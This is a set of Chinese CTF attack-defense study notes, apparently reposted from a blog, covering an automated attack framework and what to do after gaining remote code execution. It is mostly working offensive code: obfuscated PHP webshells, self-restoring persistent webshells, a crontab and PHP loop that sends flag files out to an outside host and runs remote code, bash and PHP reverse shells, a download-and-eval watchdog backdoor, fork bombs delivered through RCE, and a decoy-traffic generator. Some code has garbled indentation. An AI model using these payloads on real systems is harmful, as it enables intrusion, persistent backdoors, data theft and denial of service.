CTF 学习笔记 04--CTF攻击流程

##全自动全场开火

全场开火框架:
def main():
    print "[+] Starting attack framework..."
    round_time = 60 * 5
    print "[+] Round time : %s seconds..." % (round_time)
    wait_time = round_time / 2
    print "[+] Wait time : %s seconds..." % (wait_time)
    while True:
   exploit_all()
   print "[+] This round is finished , waiting for the next round..."
   for i in range(wait_time):
   print "[+] The next attack is %d seconds later..." % (wait_time - i)
   time.sleep(1)

if __name__ == "__main__":
    main()

def exploit(host, port):
    flag = get_flag(host, port)
    submit_flag(flag, token)

def exploit_all():
    with open("targets") as f:                #先要获取到全场ip port
    for line in f:
    host = line.split(":")[0]
    port = int(line.split(":")[1])
    print "[+] Exploiting : %s:%d" % (host, port)
    exploit(host, port)

## RCE (远程命令执行)之后 
*    写入webshell文件
webshell最好有一定的伪装性,文件名可以以 . 开头。

对于不同肉鸡上的webshell设置不同密码,防止别人用你的马来收flag。

<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
<?php
$uf="snc3";
$ka="IEBldmFbsK";
$pjt="CRfUE9TVF";
$vbl = str_replace("ti","","tistittirti_rtietipltiatice");
$iqw="F6ciddKTs=";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw))); $mpy();
?>

<?php
$_uU=chr(99).chr(104).chr(114);
echo $_uU;
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).

$_uU(110);
echo $_cC;
$_=$_fF("",$_cC);@$_();
?>
eval($_POST[1])

*    写入内存(不死)马

eval型:
def write_memery_webshell(url, directory, password):
    sleep_time = 500 # micro second
    code = "<?php $content = '<?php eval(base64_decode($_REQUEST[%s]));?>'; $writable_path = '%s'; $filename = '.%s.php'; $path = $writable_path.'/'.$filename; ignore_user_abort(true); set_time_limit(0);      while(true){ if(file_get_contents($path) != $content){ file_put_contents($path, $content); } usleep(%d); }?>" % (password, directory, password, sleep_time)
filename = ".%s.php" % (password)
    path = "%s/%s" % (directory, filename)
    payload = "file_put_contents('%s', base64_decode('%s'));" % (path, code.encode("base64").replace("\n", ""))
    print payload
    return code_exec(url, payload).split("\n")[0:-1]
shell型:
def write_memery_webshell(url, directory, password):
    sleep_time = 500 # micro second
    code = "<?php $content = '<?php eval($_REQUEST[%s]);?>'; $writable_path = '%s'; $filename = '.%s.php'; $path = $writable_path.'/'.$filename; ignore_user_abort(true); set_time_limit(0); while(true){      if(file_get_contents($path) != $content){ file_put_contents($path, $content); } usleep(%d); }?>" % (password, directory, password, sleep_time)
filename = ".%s.php" % (password)
    path = "%s/%s" % (directory, filename)
    payload = "file_put_contents('%s', base64_decode('%s'));" % (path, code.encode("base64").replace("\n", ""))
    return shell_exec(url, payload).split("\n")[0:-1]
唤醒内存马:
def active_memery_webshell(url):
    try:
        requests.get(url, timeout=0.5)
    except:
        print "[+] OK!"

*    写入crontab(计划任务)

让对方机器提交自己的flag:攻击者的token
$message="* * * * * curl 192.168.136.1:8098/?flag=$(cat /var/www/html/flag)&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY";
ignore_user_abort(true);
set_time_limit(0);
while (true) {
$x =file_get_contents('/var/www/html/flag');
file_get_contents('http://192.168.136.1:8099/test.php?token=kericwy&flag='.$x);
sleep(5);
system("echo '$message' > /tmp/1 ;");
system("crontab /tmp/1;");
system("rm /tmp/1;");
$c=file_get_contents('http://192.168.136.1:8100/1.txt');
system($c);

*    反弹shell

 在bash下可以运行:

        bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

php反弹:需要在目标机器安装php环境

        php -r '$sock=fsockopen("127.0.0.1","4444");exec("/bin/sh -i <&3 >&3 2>&3");' 

python反弹:

        python -c 'import pty; pty.spawn("/bin/bash")'


*    进程守护 (监控文件是否存在 没有的话自动安装)

while [[ : ]]; do
# tell php that i am living
echo "Creating lock file..."
touch -a ${bash_lock_file}
# check php is living or not
last_access_time=`stat -c %X ${php_lock_file}`
now_time=`date +%s`
echo "php last alive time : ${last_access_time}"
echo $[ $now_time - $last_access_time ];
if [ ! -f "${php_lock_file}" ] || [ $[ $now_time - $last_access_time ] -gt $((sleep_time+1)) ]; then
echo "[-] php script is dead!"
echo "downloading php script"
wget ${php_url} -O $target_path && curl ${start_url} -m ${time_out}
else
echo "PHP script is alive..."
fi
# sleeping
echo "sleeping..."
sleep ${sleep_time}
ignore_user_abort(true);
set_time_limit(0);
$sleep_time = 3; // max sleep_time : 3 seconds
$content = file_get_contents($bash_url);
while(true){
// tell bash that i am living
echo "Telling bash that i am alive...\n";
touch($php_lock_file);
echo "PHP Lock file last accessed : ".(time() - fileatime($php_lock_file))."\n";
// check bash is living or not
echo "Checking the bash script is alive or not...\n";
if(!(file_exists($bash_lock_file) && ((time() - fileatime($bash_lock_file)) < ($sleep_time + 1)))){
echo "The bash script is dead!\n";
// download bash script
echo "Downloading bash script...\n";
@file_put_contents($bash_path, $content);
// restart bash script
echo "Restarting bash script...\n";
@popen('nohup bash '.$bash_path.' &', 'r');
}
// control loop speed
echo "Sleeping...\n";
sleep($sleep_time);
// backdoor
echo "Executing backdoor...";
@eval(file_get_contents($code_url));
}

*    fork炸弹(dos攻击) 让目标机down机双倍扣分

eval型: 疯狂创建新进程,占用资源而变慢,以至于最后爆掉
def main():
    host = "192.168.50.57"
    port = "80"
    url = "http://%s:%s/code.php" % (host, port)
    code = "system(\"echo '.() { .|.& } && .' > /tmp/aaa\");system(\"/bin/bash /tmp/aaa\");echo \"seems good!\";"
    print code_exec(url, code)
shell型:
def main():
    host = "127.0.0.1"
    port = "80"
    url = "http://%s:%s/c.php" % (host, port)
    command = ":(){ :|: & };:"
    shell_exec(url, command)

*    垃圾流量生成

为了减少payload被别人轻易获取并重放,我们需要不断释放大量的垃圾流量。最好里面有众多的flag字符串来扰乱敌人的分析。

比赛开始,完成基础的运维工作后,运维手就可以往外打垃圾流量了,需要贯穿整个比赛流程。

从题目源码中获取真实参数:
def get_all(root, arg):
    all = []
    result = os.walk(root)
    for path,d,filelist in result:
        for file in filelist:
            if file.endswith(".php"):
               full_path = path + "/" + file
               content = get_content(full_path)
               all.append(("/" + file, find_arg(content, arg)))
    return all

def main():
    root = "."
    print get_all(root, "_GET")
    print get_all(root, "_POST")
    print get_all(root, "_COOKIE")

垃圾流量生成:
def get_fake_plain_payloads(flag_path):
    payloads = []
    payloads.append('system("cat %s");' % (flag_path))
    payloads.append('highlight_file("%s");' % (flag_path))
    payloads.append('echo file_get_contents("%s");' % (flag_path))
    payloads.append('var_dump(file_get_contents("%s"));' % (flag_path))
    payloads.append('print_r(file_get_contents("%s"));' % (flag_path))
    return payloads

def get_fake_base64_payloads(flag_path):
    payloads = get_fake_plain_payloads(flag_path)
    return [payload.encode("base64").replace("\n","") for payload in payloads]

def main():
    flag_path = "/home/web/flag/flag"
    print get_fake_plain_payloads(flag_path)
    print get_fake_base64_payloads(flag_path)
垃圾流量发射:
def handle_get(url, root, flag_path):
    all_requests = []
    http_get = get_all(root, "_GET")
    plain_payloads = get_fake_plain_payloads(flag_path)
    base64_payloads = get_fake_base64_payloads(flag_path)
    for item in http_get:
        path = item[0]
          args = item[1]
                 for arg in args:
                    for payload in plain_payloads:
                              new_url = "%s%s?%s=%s" % (url, path[len("./"):], arg[len("$_GET['"):-len("']")], payload)
                              request = requests.Request("GET", new_url)
                        all_requests.append(request)
                          for payload in base64_payloads:
                              new_url = "%s%s?%s=%s" % (url, path[len("./"):], arg[len("$_GET['"):-len("']")], payload)
                              request = requests.Request("GET", new_url)
                              all_requests.append(request)
    return all_requests
fake.request.py:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import threading
import time
import random

from core.obfs.fake_payloads import *
from core.obfs.get_arg import *

timeout = 0.1

def send_http(request):
    prepared = request.prepare()
    session = requests.Session()
    try:
        session.send(prepared, timeout=timeout)
    except Exception as e:
        print e

def handle_single_http(request):
    send_http(request)

def handle_get(url, root, flag_path):
    all_requests = []
    http_get = get_all(root, "_GET")
    plain_payloads = get_fake_plain_payloads(flag_path)
    base64_payloads = get_fake_base64_payloads(flag_path)
    for item in http_get:
        path = item[0]
        args = item[1]
        for arg in args:
            for payload in plain_payloads:
                new_url = "%s%s?%s=%s" % (url, path[len("./"):], arg[len("$_GET['"):-len("']")], payload)
                request = requests.Request("GET", new_url)
                all_requests.append(request)
            for payload in base64_payloads:
                new_url = "%s%s?%s=%s" % (url, path[len("./"):], arg[len("$_GET['"):-len("']")], payload)
                request = requests.Request("GET", new_url)
                all_requests.append(request)
    return all_requests

def handle_post(url, root, flag_path):
    all_requests = []
    http_get = get_all(root, "_POST")
    plain_payloads = get_fake_plain_payloads(flag_path)
    base64_payloads = get_fake_base64_payloads(flag_path)
    for item in http_get:
        path = item[0]
        args = item[1]
        for arg in args:
            for payload in plain_payloads:
                new_url = "%s%s" % (url, path[len("./"):])
                request = requests.Request("POST", new_url)
                request.data = {
                    arg[len("$_POST['"):-len("']")]:payload
                }
                all_requests.append(request)
            for payload in base64_payloads:
                new_url = "%s%s" % (url, path[len("./"):])
                request = requests.Request("POST", new_url)
                request.data = {
                    arg[len("$_POST['"):-len("']")]:payload
                }
                all_requests.append(request)
    return all_requests

def handle_cookie(url, root, flag_path):
    all_requests = []
    http_get = get_all(root, "_COOKIE")
    plain_payloads = get_fake_plain_payloads(flag_path)
    base64_payloads = get_fake_base64_payloads(flag_path)
    for item in http_get:
        path = item[0]
        args = item[1]
        for arg in args:
            for payload in plain_payloads:
                new_url = "%s%s" % (url, path[len("./"):])
                request = requests.Request("GET", new_url)
                request.cookies = {
                    arg[len("$_COOKIE['"):-len("']")]:payload
                }
                all_requests.append(request)
            for payload in base64_payloads:
                new_url = "%s%s" % (url, path[len("./"):])
                request = requests.Request("GET", new_url)
                request.cookies = {
                    arg[len("$_COOKIE['"):-len("']")]:payload
                }
                all_requests.append(request)
    return all_requests

def get_targets():
    targets = []
    with open("targets") as f:
        for line in f:
            host = line.split(":")[0]
            port = int(line.split(":")[1])
            targets.append((host, port))
    return targets

def main():
    flag_path = "/home/web/flag/flag"
    root = "./sources"
    round_time = 60
    all_requests = []
    targets = get_targets()
    for target in targets:
        print "-" * 32
        host = target[0]
        port = target[1]
        print "[+] Generating requests to fake %s:%d" % (host, port)
        url = "http://%s:%d/" % (host, port)
        print "[+] Requests number : [%d]" % (len(all_requests))
        all_requests += handle_get(url, root, flag_path)
        print "[+] Requests number : [%d]" % (len(all_requests))
        all_requests += handle_post(url, root, flag_path)
        print "[+] Requests number : [%d]" % (len(all_requests))
        all_requests += handle_cookie(url, root, flag_path)

    each_second = len(all_requests) / round_time
    print "[+] Each second should send %d requests" % (each_second)
    random.shuffle(all_requests)
    for request in all_requests:
        sleep_time = 1.0 / each_second
        print "[+] Sleeping %f seconds" % (sleep_time)
        time.sleep(sleep_time)
        print "[+] Sending http requests ..."
        print "%s => %s" % (request.method, request.url)
        thread = threading.Thread(target=handle_single_http, args=(request,))
        thread.start()
        thread.join()


if __name__ == "__main__":
    main()

*    流量重放

对于attacker而言,流量的快速同步和好用的流量分析机制是非常有用的,对于可疑的流量,应该快速粘贴到burp等工具中进行测试,如果可以攻击则使用script-gen等插件迅速生成攻击脚本并整合到攻击框架中。

*    把流量dump下来:

            scp -r gamebox:/ctfer/logs/ ./

            也可以使用定时脚本的方式。

*    由burp生成EXP的神器:

            http://www.kericwy.xyz/files/scriptgen-burp-plugin-6.jar

        



猜你喜欢

转载自blog.csdn.net/qq_38055050/article/details/80722563
ctf